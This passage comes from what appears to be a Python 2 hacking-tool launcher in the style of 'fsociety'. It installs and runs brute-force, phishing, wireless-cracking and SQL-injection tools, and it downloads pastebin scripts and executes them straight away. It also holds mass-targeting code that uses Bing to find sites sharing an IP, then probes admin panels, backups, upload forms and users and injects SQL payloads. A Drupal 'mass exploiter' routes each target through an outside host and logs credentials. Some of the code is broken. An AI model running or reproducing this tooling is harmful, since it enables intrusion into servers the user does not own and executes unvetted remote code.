self.menu(target)
except KeyboardInterrupt:
self.menu(target)
class setoolkit:
def __init__(self):
self.installDir = toolDir + "setoolkit"
self.gitRepo = "https://github.com/trustedsec/social-engineer-toolkit.git"
if not self.installed():
self.install()
self.run()
else:
print(alreadyInstalled)
self.run()
response = raw_input(continuePrompt)
def installed(self):
return (os.path.isfile("/usr/bin/setoolkit"))
def install(self):
os.system("apt-get --force-yes -y install git apache2 python-requests libapache2-mod-php \
python-pymssql build-essential python-pexpect python-pefile python-crypto python-openssl")
os.system("git clone --depth=1 %s %s" %
(self.gitRepo, self.installDir))
os.system("cd %s && python setup.py install" % self.installDir)
def run(self):
os.system("setoolkit")
class host2ip:
host2ipLogo = '''
88 88 dP"Yb .dP"Y8 888888 oP"Yb. 88 88""Yb
88 88 dP Yb `Ybo." 88 "' dP' 88 88__dP
888888 Yb dP o.`Y8b 88 dP' 88 88"""
88 88 YbodP 8bodP' 88 .d8888 88 88
'''
def __init__(self):
clearScr()
print(self.host2ipLogo)
host = raw_input(" Enter a Host: ")
ip = socket.gethostbyname(host)
print(" %s has the IP of %s" % (host, ip))
response = raw_input(continuePrompt)
class wpscan:
wpscanLogo = '''
Yb dP 88""Yb .dP"Y8 dP""b8 db 88b 88
Yb db dP 88__dP `Ybo." dP `" dPYb 88Yb88
YbdPYbdP 88""" o.`Y8b Yb dP__Yb 88 Y88
YP YP 88 8bodP' YboodP dP""""Yb 88 Y8
'''
def __init__(self):
self.installDir = toolDir + "wpscan"
self.gitRepo = "https://github.com/wpscanteam/wpscan.git"
if not self.installed():
self.install()
clearScr()
print(self.wpscanLogo)
target = raw_input(" Enter a Target: ")
self.menu(target)
def installed(self):
return (os.path.isdir(self.installDir))
def install(self):
os.system("git clone --depth=1 %s %s" %
(self.gitRepo, self.installDir))
def menu(self, target):
clearScr()
print(self.wpscanLogo)
print(" WPScan for: %s\n" % target)
print(" {1}--Username Enumeration [--enumerate u]")
print(" {2}--Plugin Enumeration [--enumerate p]")
print(" {3}--All Enumeration Tools [--enumerate]\n")
print(" {99}-Return to information gathering menu \n")
response = raw_input("wpscan ~# ")
clearScr()
logPath = "../../logs/wpscan-" + \
strftime("%Y-%m-%d_%H:%M:%S", gmtime()) + ".txt"
wpscanOptions = "--no-banner --random-agent --url %s" % target
try:
if response == "1":
os.system(
"ruby tools/wpscan/wpscan.rb %s --enumerate u --log %s" % (wpscanOptions, logPath))
response = raw_input(continuePrompt)
elif response == "2":
os.system(
"ruby tools/wpscan/wpscan.rb %s --enumerate p --log %s" % (wpscanOptions, logPath))
response = raw_input(continuePrompt)
elif response == "3":
os.system(
"ruby tools/wpscan/wpscan.rb %s --enumerate --log %s" % (wpscanOptions, logPath))
response = raw_input(continuePrompt)
elif response == "99":
pass
else:
self.menu(target)
except KeyboardInterrupt:
self.menu(target)
class CMSmap:
CMSmapLogo = '''
dP""b8 8b d8 .dP"Y8 8b d8 db 88""Yb
dP `" 88b d88 `Ybo." 88b d88 dPYb 88__dP
Yb 88YbdP88 o.`Y8b 88YbdP88 dP__Yb 88"""
YboodP 88 YY 88 8bodP' 88 YY 88 dP""""Yb 88
'''
def __init__(self):
self.installDir = toolDir + "CMSmap"
self.gitRepo = "https://github.com/Dionach/CMSmap.git"
if not self.installed():
self.install()
clearScr()
print(self.CMSmapLogo)
target = raw_input(" Enter a Target: ")
self.run(target)
response = raw_input(continuePrompt)
def installed(self):
return (os.path.isdir(self.installDir))
def install(self):
os.system("git clone --depth=1 %s %s" %
(self.gitRepo, self.installDir))
def run(self, target):
logPath = "logs/cmsmap-" + \
strftime("%Y-%m-%d_%H:%M:%S", gmtime()) + ".txt"
try:
os.system("python %s/cmsmap.py -t %s -o %s" %
(self.installDir, target, logPath))
except:
pass
class XSStrike:
XSStrikeLogo = '''
Yb dP .dP"Y8 .dP"Y8 888888 88""Yb 88 88 dP 888888
YbdP `Ybo." `Ybo." 88 88__dP 88 88odP 88__
dPYb o.`Y8b o.`Y8b 88 88"Yb 88 88"Yb 88""
dP Yb 8bodP' 8bodP' 88 88 Yb 88 88 Yb 888888
'''
def __init__(self):
self.installDir = toolDir + "XSStrike"
self.gitRepo = "https://github.com/UltimateHackers/XSStrike.git"
if not self.installed():
self.install()
clearScr()
print(self.XSStrikeLogo)
self.run()
response = raw_input(continuePrompt)
def installed(self):
return (os.path.isdir(self.installDir))
def install(self):
os.system("git clone --depth=1 %s %s" %
(self.gitRepo, self.installDir))
os.system("pip install -r %s/requirements.txt" % self.installDir)
def run(self):
os.system("python %s/xsstrike" % self.installDir)
class doork:
doorkLogo = '''
8888b. dP"Yb dP"Yb 88""Yb 88 dP
8I Yb dP Yb dP Yb 88__dP 88odP
8I dY Yb dP Yb dP 88"Yb 88"Yb
8888Y" YbodP YbodP 88 Yb 88 Yb
'''
def __init__(self):
self.installDir = toolDir + "doork"
self.gitRepo = "https://github.com/AeonDave/doork.git"
if not self.installed():
self.install()
clearScr()
print(self.doorkLogo)
target = raw_input(" Enter a Target: ")
self.run(target)
response = raw_input(continuePrompt)
def installed(self):
return (os.path.isdir(self.installDir))
def install(self):
os.system("git clone --depth=1 %s %s" %
(self.gitRepo, self.installDir))
os.system("pip install beautifulsoup4 requests Django==1.11")
def run(self, target):
if not "http://" in target:
target = "http://" + target
logPath = "logs/doork-" + \
strftime("%Y-%m-%d_%H:%M:%S", gmtime()) + ".txt"
try:
os.system("python %s/doork.py -t %s -o %s" %
(self.installDir, target, logPath))
except KeyboardInterrupt:
pass
class crips:
cripsLogo = '''
dP""b8 88""Yb 88 88""Yb .dP"Y8
dP `" 88__dP 88 88__dP `Ybo."
Yb 88"Yb 88 88""" o.`Y8b
YboodP 88 Yb 88 88 8bodP'
'''
def __init(self):
self.installDir = toolDir + "Crips"
self.gitRepo = "https://github.com/Manisso/Crips.git"
if not self.installed():
self.install()
clearScr()
print(self.cripsLogo)
self.run()
def installed(self):
return (os.path.isdir(self.installDir) or os.path.isdir("/usr/share/doc/Crips"))
def install(self):
os.system("git clone --depth=1 %s %s" %
(self.gitRepo, self.installDir))
os.system("bash %s/install.sh" % self.installDir)
def run(self):
try:
os.system("crips")
except:
pass
'''
Password Attack Tools Classes
'''
class passwordAttacksMenu:
menuLogo = '''
88""Yb db .dP"Y8 .dP"Y8 Yb dP 8888b.
88__dP dPYb `Ybo." `Ybo." Yb db dP 8I Yb
88""" dP__Yb o.`Y8b o.`Y8b YbdPYbdP 8I dY
88 dP""""Yb 8bodP' 8bodP' YP YP 8888Y"
'''
def __init__(self):
clearScr()
print(self.menuLogo)
print(" {1}--Cupp - Common User Passwords Profiler")
print(
" {2}--BruteX - Automatically bruteforces all services running on a target\n")
print(" {99}-Back To Main Menu \n")
choice3 = raw_input("passwd ~# ")
clearScr()
if choice3 == "1":
cupp()
elif choice3 == "2":
brutex()
elif choice3 == "99":
fsociety()
else:
self.__init__()
self.completed()
def completed(self):
raw_input("Completed, click return to go back")
self.__init__()
class cupp:
cuppLogo = '''
dP""b8 88 88 88""Yb 88""Yb
dP `" 88 88 88__dP 88__dP
Yb Y8 8P 88""" 88"""
YboodP `YbodP' 88 88
'''
def __init__(self):
self.installDir = toolDir + "cupp"
self.gitRepo = "https://github.com/Mebus/cupp.git"
if not self.installed():
self.install()
clearScr()
print(self.cuppLogo)
self.run()
def installed(self):
return (os.path.isdir(self.installDir))
def install(self):
os.system("git clone --depth=1 %s %s" %
(self.gitRepo, self.installDir))
def run(self):
os.system("python %s/cupp.py -i" % self.installDir)
'''
Wireless Testing Tools Classes
'''
class wirelessTestingMenu:
menuLogo = '''
Yb dP 88 88""Yb 888888 88 888888 .dP"Y8 .dP"Y8
Yb db dP 88 88__dP 88__ 88 88__ `Ybo." `Ybo."
YbdPYbdP 88 88"Yb 88"" 88 .o 88"" o.`Y8b o.`Y8b
YP YP 88 88 Yb 888888 88ood8 888888 8bodP' 8bodP'
'''
def __init__(self):
clearScr()
print(self.menuLogo)
print(" {1}--reaver ")
print(" {2}--pixiewps")
print(" {3}--Bluetooth Honeypot GUI Framework \n")
print(" {99}-Back To The Main Menu \n")
choice4 = raw_input(fsocietyPrompt)
clearScr()
if choice4 == "1":
reaver()
elif choice4 == "2":
pixiewps()
elif choice4 == "3":
bluepot()
elif choice4 == "99":
fsociety()
else:
self.__init__()
self.completed()
def completed(self):
raw_input("Completed, click return to go back")
self.__init__()
class reaver:
def __init__(self):
self.installDir = toolDir + "reaver"
self.gitRepo = "https://github.com/t6x/reaver-wps-fork-t6x.git"
if not self.installed():
self.install()
clearScr()
self.run()
def installed(self):
return (os.path.isdir(self.installDir))
def install(self):
os.system("git clone --depth=1 %s %s" %
(self.gitRepo, self.installDir))
os.system(
"apt-get -y install build-essential libpcap-dev sqlite3 libsqlite3-dev aircrack-ng pixiewps")
os.system("cd %s/" % self.installDir)
os.system("./configure")
os.system("make")
os.system("sudo make install")
def run(self):
os.system("reaver --help")
class pixiewps:
def __init__(self):
self.installDir = toolDir + "pixiewps"
self.gitRepo = "https://github.com/wiire/pixiewps.git"
if not self.installed():
self.install()
clearScr()
self.run()
def installed(self):
return (os.path.isdir(self.installDir))
def install(self):
os.system("git clone --depth=1 %s %s" %
(self.gitRepo, self.installDir))
os.system("apt-get -y install build-essential")
os.system("make")
os.system("sudo make install")
def run(self):
os.system("pixiewps --help")
class bluepot:
def __init__(self):
self.installDir = toolDir + "bluepot"
if not self.installed():
self.install()
clearScr()
self.run()
def installed(self):
return (os.path.isdir(self.installDir))
def install(self):
os.system("apt-get install libbluetooth-dev")
os.system(
"wget -O - https://github.com/andrewmichaelsmith/bluepot/raw/master/bin/bluepot-0.1.tar.gz | tar xfz -")
os.system("mv bluepot/ %s/" % self.installDir)
def run(self):
os.system("sudo java -jar %s/BluePot-0.1.jar" % self.installDir)
'''
Exploitation Tools Classes
'''
class exploitationToolsMenu:
menuLogo = '''
888888 Yb dP 88""Yb 88
88__ YbdP 88__dP 88
88"" dPYb 88""" 88 .o
888888 dP Yb 88 88ood8
'''
def __init__(self):
clearScr()
print(self.menuLogo)
print(" {1}--ATSCAN")
print(" {2}--sqlmap")
print(" {3}--Shellnoob")
print(" {4}--commix")
print(" {5}--FTP Auto Bypass")
print(" {6}--JBoss-Autopwn")
print(" {7}--Blind SQL Automatic Injection And Exploit")
print(" {8}--Bruteforce the Android Passcode given the hash and salt")
print(" {9}--Joomla SQL injection Scanner \n ")
print(" {99}-Go Back To Main Menu \n")
choice5 = raw_input(fsocietyPrompt)
clearScr()
if choice5 == "1":
atscan()
elif choice5 == "2":
sqlmap()
elif choice5 == "3":
shellnoob()
elif choice5 == "4":
commix()
elif choice5 == "5":
gabriel()
elif choice5 == "6":
jboss()
elif choice5 == "7":
bsqlbf()
elif choice5 == "8":
androidhash()
elif choice5 == "9":
cmsfew()
elif choice5 == "99":
fsociety()
else:
self.__init__()
self.completed()
def completed(self):
raw_input("Completed, click return to go back")
self.__init__()
class brutex:
def __init__(self):
self.installDir = toolDir + "brutex"
self.gitRepo = "https://github.com/1N3/BruteX.git"
if not self.installed():
self.install()
clearScr()
self.run()
def installed(self):
return (os.path.isdir(self.installDir))
def install(self):
os.system("git clone --depth=1 %s %s" %
(self.gitRepo, self.installDir))
if not os.path.isdir("/usr/share/brutex"):
os.makedirs("/usr/share/brutex")
os.system("cd %s && chmod +x install.sh && ./install.sh" % self.installDir)
def run(self):
target = raw_input("Enter Target IP: ")
os.system("brutex %s" % target)
class arachni:
def __init__(self):
self.installDir = toolDir + "arachni"
self.gitRepo = "https://github.com/Arachni/arachni.git"
if not self.installed():
self.install()
clearScr()
self.run()
def installed(self):
return (os.path.isdir(self.installDir))
def install(self):
os.system("git clone --depth=1 %s %s" %
(self.gitRepo, self.installDir))
os.system("cd %s/" % self.installDir)
os.system(
"gem install bundler && bundle install --without prof && rake install")
def run(self):
target = raw_input("Enter Target Hostname: ")
os.system("arachni %s --output-debug 2> %sarachni/%s.log" %
(target, logDir, strftime("%Y-%m-%d_%H:%M:%S", gmtime())))
# Updated to Here
def weeman():
print("HTTP server for phishing in python. (and framework) Usually you will want to run Weeman with DNS spoof attack. (see dsniff, ettercap).")
if yesOrNo():
os.system(
"git clone --depth=1 https://github.com/samyoyo/weeman.git && cd weeman && python weeman.py")
else:
fsociety()
def gabriel():
print("Abusing authentication bypass of Open&Compact (Gabriel's)")
os.system("wget http://pastebin.com/raw/Szg20yUh --output-document=gabriel.py")
clearScr()
os.system("python gabriel.py")
ftpbypass = raw_input("Enter Target IP and Use Command:")
os.system("python gabriel.py %s" % ftpbypass)
def sitechecker():
os.system("wget http://pastebin.com/raw/Y0cqkjrj --output-document=ch01.py")
clearScr()
os.system("python ch01.py")
def ifinurl():
print(''' This Advanced search in search engines, enables analysis provided to exploit GET / POST capturing emails & urls, with an internal custom validation junction for each target / url found.''')
print('Do You Want To Install InurlBR ? ')
cinurl = raw_input("Y/N: ")
if cinurl in yes:
inurl()
else:
fsociety()
def bsqlbf():
clearScr()
print("This tool will only work on blind sql injection")
cbsq = raw_input("select target: ")
os.system("wget https://storage.googleapis.com/google-code-archive-downloads/v2/code.google.com/bsqlbf-v2/bsqlbf-v2-7.pl -o bsqlbf.pl")
os.system("perl bsqlbf.pl -url %s" % cbsq)
os.system("rm bsqlbf.pl")
def atscan():
print ("Do You To Install ATSCAN ?")
if yesOrNo():
os.system("rm -rf ATSCAN")
os.system(
"git clone --depth=1 https://github.com/AlisamTechnology/ATSCAN.git && cd ATSCAN && perl atscan.pl")
else:
fsociety()
def commix():
print ("Automated All-in-One OS Command Injection and Exploitation Tool.")
print ("usage: python commix.py --help")
if yesOrNo():
os.system(
"git clone --depth=1 https://github.com/stasinopoulos/commix.git commix")
os.system("cd commix")
os.system("python commix.py")
os.system("")
else:
informationGatheringMenu.completed("Commix")
def vbulletinrce():
os.system("wget http://pastebin.com/raw/eRSkgnZk --output-document=tmp.pl")
os.system("perl tmp.pl")
def joomlarce():
os.system("wget http://pastebin.com/raw/EX7Gcbxk --output-document=temp.py")
clearScr()
print("if the response is 200 , you will find your shell in Joomla_3.5_Shell.txt")
jmtarget = raw_input("Select a targets list:")
os.system("python temp.py %s" % jmtarget)
def inurl():
dork = raw_input("select a Dork:")
output = raw_input("select a file to save:")
os.system(
"./inurlbr.php --dork '{0}' -s {1}.txt -q 1,6 -t 1".format(dork, output))
webHackingMenu.completed("InurlBR")
def insinurl():
os.system(
"git clone --depth=1 https://github.com/googleinurl/SCANNER-INURLBR.git")
os.system("chmod +x SCANNER-INURLBR/inurlbr.php")
os.system("apt-get install curl libcurl3 libcurl3-dev php5 php5-cli php5-curl")
os.system("mv /SCANNER-INURLBR/inurbr.php inurlbr.php")
clearScr()
inurl()
def jboss():
clearScr()
print ("This JBoss script deploys a JSP shell on the target JBoss AS server. Once")
print ("deployed, the script uses its upload and command execution capability to")
print ("provide an interactive session.")
print ("")
print ("usage: ./e.sh target_ip tcp_port ")
print("Continue: y/n")
if yesOrNo():
os.system(
"git clone --depth=1 https://github.com/SpiderLabs/jboss-autopwn.git"), sys.exit()
else:
fsociety()
def wppluginscan():
Notfound = [404, 401, 400, 403, 406, 301]
sitesfile = raw_input("sites file: ")
filepath = raw_input("Plugins File: ")
def scan(site, dir):
global resp
try:
conn = httplib.HTTPConnection(site)
conn.request('HEAD', "/wp-content/plugins/" + dir)
resp = conn.getresponse().status
except Exception as message:
print("Cant Connect:" + message)
pass
def timer():
now = time.localtime(time.time())
return time.asctime(now)
def main():
sites = open(sitesfile).readlines()
plugins = open(filepath).readlines()
for site in sites:
site = site.rstrip()
for plugin in plugins:
plugin = plugin.rstrip()
scan(site, plugin)
if resp not in Notfound:
print("+----------------------------------------+")
print("| current site:" + site)
print("| Found Plugin: " + plugin)
print("| Result:", resp)
def sqlmap():
print ("usage: python sqlmap.py -h")
if yesOrNo():
os.system(
"git clone --depth=1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev & ")
else:
informationGatheringMenu.completed("SQLMap")
def grabuploadedlink(url):
try:
for dir in directories:
currentcode = urllib.urlopen(url + dir).getcode()
if currentcode == 200 or currentcode == 403:
print "-------------------------"
print " [ + ] Found Directory: " + str(url + dir) + " [ + ]"
print "-------------------------"
upload.append(url + dir)
except:
pass
def grabshell(url):
try:
for upl in upload:
for shell in shells:
currentcode = urllib.urlopen(upl + shell).getcode()
if currentcode == 200:
print "-------------------------"
print " [ ! ] Found Shell: " + \
str(upl + shell) + " [ ! ]"
print "-------------------------"
except:
pass
def shelltarget():
print("Exemple: http://target.com")
line = raw_input("target: ")
line = line.rstrip()
grabuploadedlink(line)
grabshell(line)
def poet():
print("POET is a simple POst-Exploitation Tool.\n")
if yesOrNo():
os.system("git clone --depth=1 https://github.com/mossberg/poet.git")
os.system("python poet/server.py")
else:
postExploitationMenu.completed("POET")
def ssls():
print('''sslstrip is a MITM tool that implements Moxie Marlinspike's SSL stripping
attacks.
It requires Python 2.5 or newer, along with the 'twisted' python module.''')
if yesOrNo():
os.system("git clone --depth=1 https://github.com/moxie0/sslstrip.git")
os.system("apt-get install python-twisted-web")
os.system("python sslstrip/setup.py")
else:
sniffingSpoofingMenu.completed("SSlStrip")
def unique(seq):
seen = set()
return [seen.add(x) or x for x in seq if x not in seen]
def bing_all_grabber(s):
lista = []
page = 1
while page <= 101:
try:
bing = "http://www.bing.com/search?q=ip%3A" + \
s + "+&count=50&first=" + str(page)
openbing = urllib2.urlopen(bing)
readbing = openbing.read()
findwebs = re.findall('<h2><a href="(.*?)"', readbing)
for i in range(len(findwebs)):
allnoclean = findwebs[i]
findall1 = re.findall('http://(.*?)/', allnoclean)
for idx, item in enumerate(findall1):
if 'www' not in item:
findall1[idx] = 'http://www.' + item + '/'
else:
findall1[idx] = 'http://' + item + '/'
lista.extend(findall1)
page += 50
except urllib2.URLError:
pass
final = unique(lista)
return final
def check_gravityforms(sites):
import urllib
gravityforms = []
for site in sites:
try:
if urllib.urlopen(site + 'wp-content/plugins/gravityforms/gravityforms.php').getcode() == 403:
gravityforms.append(site)
except:
pass
return gravityforms
def gravity():
ip = raw_input('Enter IP: ')
sites = bing_all_grabber(str(ip))
gravityforms = check_gravityforms(sites)
for ss in gravityforms:
print ss
print('\n')
print('[*] Found, ', len(gravityforms), ' gravityforms.')
def shellnoob():
print('''Writing shellcodes has always been super fun, but some parts are extremely boring and error prone. Focus only on the fun part, and use ShellNoob!''')
if yesOrNo():
os.system("git clone --depth=1 https://github.com/reyammer/shellnoob.git")
os.system("mv shellnoob/shellnoob.py shellnoob.py")
os.system("python shellnoob.py --install")
else:
exploitationToolsMenu()
def androidhash():
key = raw_input("Enter the android hash: ")
salt = raw_input("Enter the android salt: ")
os.system(
"git clone --depth=1 https://github.com/PentesterES/AndroidPINCrack.git")
os.system(
"cd AndroidPINCrack && python AndroidPINCrack.py -H %s -s %s" % (key, salt))
def cmsfew():
print("your target must be Joomla, Mambo, PHP-Nuke, and XOOPS Only ")
target = raw_input("Select a target: ")
os.system(
"wget https://dl.packetstormsecurity.net/UNIX/scanners/cms_few.py.txt -O cms.py")
os.system("python cms.py %s" % target)
def smtpsend():
os.system("wget http://pastebin.com/raw/Nz1GzWDS --output-document=smtp.py")
clearScr()
os.system("python smtp.py")
def pisher():
os.system("wget http://pastebin.com/raw/DDVqWp4Z --output-document=pisher.py")
clearScr()
os.system("python pisher.py")
menuu = fsocietylogo + '''
{1}--Get all websites
{2}--Get joomla websites
{3}--Get wordpress websites
{4}--Control Panel Finder
{5}--Zip Files Finder
{6}--Upload File Finder
{7}--Get server users
{8}--SQli Scanner
{9}--Ports Scan (range of ports)
{10}-ports Scan (common ports)
{11}-Get server Info
{12}-Bypass Cloudflare
{99}-Back To Main Menu
'''
def unique(seq):
'''
get unique from list found it on stackoverflow
'''
seen = set()
return [seen.add(x) or x for x in seq if x not in seen]
class Fscan:
def __init__(self, serverip):
self.serverip = serverip
self.getSites(False)
print menuu
while True:
choice = raw_input(fsocietyPrompt)
if choice == '1':
self.getSites(True)
elif choice == '2':
self.getJoomla()
elif choice == '3':
self.getWordpress()
elif choice == '4':
self.findPanels()
elif choice == '5':
self.findZip()
elif choice == '6':
self.findUp()
elif choice == '7':
self.getUsers()
elif choice == '8':
self.grabSqli()
elif choice == '9':
ran = raw_input(' Enter range of ports, (ex: 1-1000) -> ')
self.portScanner(1, ran)
elif choice == '10':
self.portScanner(2, None)
elif choice == '11':
self.getServerBanner()
elif choice == '12':
self.cloudflareBypasser()
elif choice == '99':
fsociety()
con = raw_input(' Continue [Y/n] -> ')
if con[0].upper() == 'N':
exit()
else:
clearScr()
print menuu
def getSites(self, a):
'''
get all websites on same server
from bing search
'''
lista = []
page = 1
while page <= 101:
try:
bing = "http://www.bing.com/search?q=ip%3A" + \
self.serverip + "+&count=50&first=" + str(page)
openbing = urllib2.urlopen(bing)
readbing = openbing.read()
findwebs = re.findall('<h2><a href="(.*?)"', readbing)
for i in range(len(findwebs)):
allnoclean = findwebs[i]
findall1 = re.findall('http://(.*?)/', allnoclean)
for idx, item in enumerate(findall1):
if 'www' not in item:
findall1[idx] = 'http://www.' + item + '/'
else:
findall1[idx] = 'http://' + item + '/'
lista.extend(findall1)
page += 50
except urllib2.URLError:
pass
self.sites = unique(lista)
if a:
clearScr()
print('[*] Found ', len(lista), ' Website\n')
for site in self.sites:
print site
def getWordpress(self):
'''
get wordpress site using a dork the attacker
may do a password list attack (i did a tool for that purpose check my pastebin)
or scan for common vulnerabilities using wpscan for example (i did a simple tool
for multi scanning using wpscan)
'''
lista = []
page = 1
while page <= 101:
try:
bing = "http://www.bing.com/search?q=ip%3A" + \
self.serverip + "+?page_id=&count=50&first=" + str(page)
openbing = urllib2.urlopen(bing)
readbing = openbing.read()
findwebs = re.findall('<h2><a href="(.*?)"', readbing)
for i in range(len(findwebs)):
wpnoclean = findwebs[i]
findwp = re.findall('(.*?)\?page_id=', wpnoclean)
lista.extend(findwp)
page += 50
except:
pass
lista = unique(lista)
clearScr()
print('[*] Found ', len(lista), ' Wordpress Website\n')
for site in lista:
print site
def getJoomla(self):
'''
get all joomla websites using
bing search the attacker may bruteforce
or scan them
'''
lista = []
page = 1
while page <= 101:
bing = "http://www.bing.com/search?q=ip%3A" + self.serverip + \
"+index.php?option=com&count=50&first=" + str(page)
openbing = urllib2.urlopen(bing)
readbing = openbing.read()
findwebs = re.findall('<h2><a href="(.*?)"', readbing)
for i in range(len(findwebs)):
jmnoclean = findwebs[i]
findjm = re.findall('(.*?)index.php', jmnoclean)
lista.extend(findjm)
page += 50
lista = unique(lista)
clearScr()
print('[*] Found ' + len(lista) + ' Joomla Website\n')
for site in lista:
print site
############################
# find admin panels
def findPanels(self):
'''
find panels from grabbed websites
the attacker may do a lot of vulnerability
tests on the admin area
'''
print "[~] Finding admin panels"
adminList = ['admin/', 'site/admin', 'admin.php/', 'up/admin/', 'central/admin/', 'whm/admin/', 'whmcs/admin/', 'support/admin/', 'upload/admin/', 'video/admin/', 'shop/admin/', 'shoping/admin/', 'wp-admin/', 'wp/wp-admin/', 'blog/wp-admin/', 'admincp/', 'admincp.php/', 'vb/admincp/', 'forum/admincp/', 'up/admincp/', 'administrator/',
'administrator.php/', 'joomla/administrator/', 'jm/administrator/', 'site/administrator/', 'install/', 'vb/install/', 'dimcp/', 'clientes/', 'admin_cp/', 'login/', 'login.php', 'site/login', 'site/login.php', 'up/login/', 'up/login.php', 'cp.php', 'up/cp', 'cp', 'master', 'adm', 'member', 'control', 'webmaster', 'myadmin', 'admin_cp', 'admin_site']
clearScr()
for site in self.sites:
for admin in adminList:
try:
if urllib.urlopen(site + admin).getcode() == 200:
print " [*] Found admin panel -> ", site + admin
except IOError:
pass
############################
# find ZIP files
def findZip(self):
'''
find zip files from grabbed websites
it may contain useful informations
'''
zipList = ['backup.tar.gz', 'backup/backup.tar.gz', 'backup/backup.zip', 'vb/backup.zip', 'site/backup.zip', 'backup.zip', 'backup.rar', 'backup.sql', 'vb/vb.zip', 'vb.zip', 'vb.sql', 'vb.rar',
'vb1.zip', 'vb2.zip', 'vbb.zip', 'vb3.zip', 'upload.zip', 'up/upload.zip', 'joomla.zip', 'joomla.rar', 'joomla.sql', 'wordpress.zip', 'wp/wordpress.zip', 'blog/wordpress.zip', 'wordpress.rar']
clearScr()
print "[~] Finding zip file"
for site in self.sites:
for zip1 in zipList:
try:
if urllib.urlopen(site + zip1).getcode() == 200:
print " [*] Found zip file -> ", site + zip1
except IOError:
pass
def findUp(self):
'''
find upload forms from grabbed
websites the attacker may succeed to
upload malicious files like webshells
'''
upList = ['up.php', 'up1.php', 'up/up.php', 'site/up.php', 'vb/up.php', 'forum/up.php', 'blog/up.php', 'upload.php',
'upload1.php', 'upload2.php', 'vb/upload.php', 'forum/upload.php', 'blog/upload.php', 'site/upload.php', 'download.php']
clearScr()
print "[~] Finding Upload"
for site in self.sites:
for up in upList:
try:
if (urllib.urlopen(site + up).getcode() == 200):
html = urllib.urlopen(site + up).readlines()
for line in html:
if re.findall('type=file', line):
print " [*] Found upload -> ", site + up
except IOError:
pass
def getUsers(self):
'''
get server users using a method found by
iranian hackers , the attacker may
do a bruteforce attack on CPanel, ssh, ftp or
even mysql if it supports remote login
(you can use medusa or hydra)
'''
clearScr()
print "[~] Grabbing Users"
userslist = []
for site1 in self.sites:
try:
site = site1
site = site.replace('http://www.', '')
site = site.replace('http://', '')
site = site.replace('.', '')
if '-' in site:
site = site.replace('-', '')
site = site.replace('/', '')
while len(site) > 2:
resp = urllib2.urlopen(
site1 + '/cgi-sys/guestbook.cgi?user=%s' % site).read()
if 'invalid username' not in resp.lower():
print '\t [*] Found -> ', site
userslist.append(site)
break
else:
print site
site = site[:-1]
except:
pass
clearScr()
for user in userslist:
print user
def cloudflareBypasser(self):
'''
tries to bypass cloudflare i already wrote
in my blog how it works, i learned this
method from a guy in madleets
'''
clearScr()
print "[~] Bypassing cloudflare"
subdoms = ['mail', 'webmail', 'ftp', 'direct', 'cpanel']
for site in self.sites:
site.replace('http://', '')
site.replace('/', '')
try:
ip = socket.gethostbyname(site)
except socket.error:
pass
for sub in subdoms:
doo = sub + '.' + site
print ' [~] Trying -> ', doo
try:
ddd = socket.gethostbyname(doo)
if ddd != ip:
print ' [*] Cloudflare bypassed -> ', ddd
break
except socket.error:
pass
def getServerBanner(self):
'''
simply gets the server banner
the attacker may benefit from it
like getting the server side software
'''
clearScr()
try:
s = 'http://' + self.serverip
httpresponse = urllib.urlopen(s)
print ' [*] Server header -> ', httpresponse.headers.getheader(
'server')
except:
print('[*] Server header -> Not Found')
def grabSqli(self):
'''
just grabs all websites in server with php?id= dork
for scanning for error based sql injection
'''
page = 1
lista = []
while page <= 101:
try:
bing = "http://www.bing.com/search?q=ip%3A" + \
self.serverip + "+php?id=&count=50&first=" + str(page)
openbing = urllib2.urlopen(bing)
readbing = openbing.read()
findwebs = re.findall('<h2><a href="(.*?)"', readbing)
for i in range(len(findwebs)):
x = findwebs[i]
lista.append(x)
except:
pass
page += 50
lista = unique(lista)
self.checkSqli(lista)
def checkSqli(self, s):
'''
checks for error based sql injection,
most of the codes here are from webpwn3r
project the one who has found an lfi in
yahoo as i remember, you can find a separate
tool in my blog
'''
clearScr()
print "[~] Checking SQL injection"
payloads = ["3'", "3%5c", "3%27%22%28%29", "3'><",
"3%22%5C%27%5C%22%29%3B%7C%5D%2A%7B%250d%250a%3C%2500%3E%25bf%2527%27"]
check = re.compile(
"Incorrect syntax|mysql_fetch|Syntax error|Unclosed.+mark|unterminated.+qoute|SQL.+Server|Microsoft.+Database|Fatal.+error", re.I)
for url in s:
try:
for param in url.split('?')[1].split('&'):
for payload in payloads:
power = url.replace(param, param + payload.strip())
html = urllib2.urlopen(power).readlines()
for line in html:
checker = re.findall(check, line)
if len(checker) != 0:
print ' [*] SQLi found -> ', power
except:
pass
def portScanner(self, mode, ran):
'''
simple port scanner works with range of ports
or with common ports (al-swisre idea)
'''
clearScr()
print "[~] Scanning Ports"
if mode == 1:
a = ran.split('-')
start = int(a[0])
end = int(a[1])
for i in range(start, end):
do_it(self.serverip, i)
elif mode == 2:
for port in [80, 21, 22, 2082, 25, 53, 110, 443, 143]:
do_it(self.serverip, port)
def do_it(ip, port):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock = sock.connect_ex((ip, port))
if sock == 0:
print " [*] Port %i is open" % port
############################
minu = '''
\t 1: Drupal Bing Exploiter
\t 2: Get Drupal Websites
\t 3: Drupal Mass Exploiter
\t 99: Back To Main Menu
'''
def drupal():
'''Drupal Exploit Binger All Websites Of server '''
ip = raw_input('1- IP: ')
page = 1
while page <= 50:
url = "http://www.bing.com/search?q=ip%3A" + ip + "&go=Valider&qs=n&form=QBRE&pq=ip%3A" + \
ip + "&sc=0-0&sp=-1&sk=&cvid=af529d7028ad43a69edc90dbecdeac4f&first=" + \
str(page)
req = urllib2.Request(url)
opreq = urllib2.urlopen(req).read()
findurl = re.findall(
'<div class="b_title"><h2><a href="(.*?)" h=', opreq)
page += 1
for url in findurl:
try:
urlpa = urlparse(url)
site = urlpa.netloc
print "[+] Testing At " + site
resp = urllib2.urlopen(
'http://crig-alda.ro/wp-admin/css/index2.php?url=' + site + '&submit=submit')
read = resp.read()
if "User: HolaKo" in read:
print "Exploit found =>" + site
print "user:HolaKo\npass:admin"
a = open('up.txt', 'a')
a.write(site + '\n')
a.write("user:" + user + "\npass:" + pwd + "\n")
else:
print "[-] Expl Not Found:( "
except Exception as ex:
print ex
sys.exit(0)
# Drupal Server ExtraCtor
def getdrupal():
ip = raw_input('Enter The Ip: ')
page = 1
sites = list()
while page <= 50:
url = "http://www.bing.com/search?q=ip%3A" + ip + \
"+node&go=Valider&qs=ds&form=QBRE&first=" + str(page)
req = urllib2.Request(url)
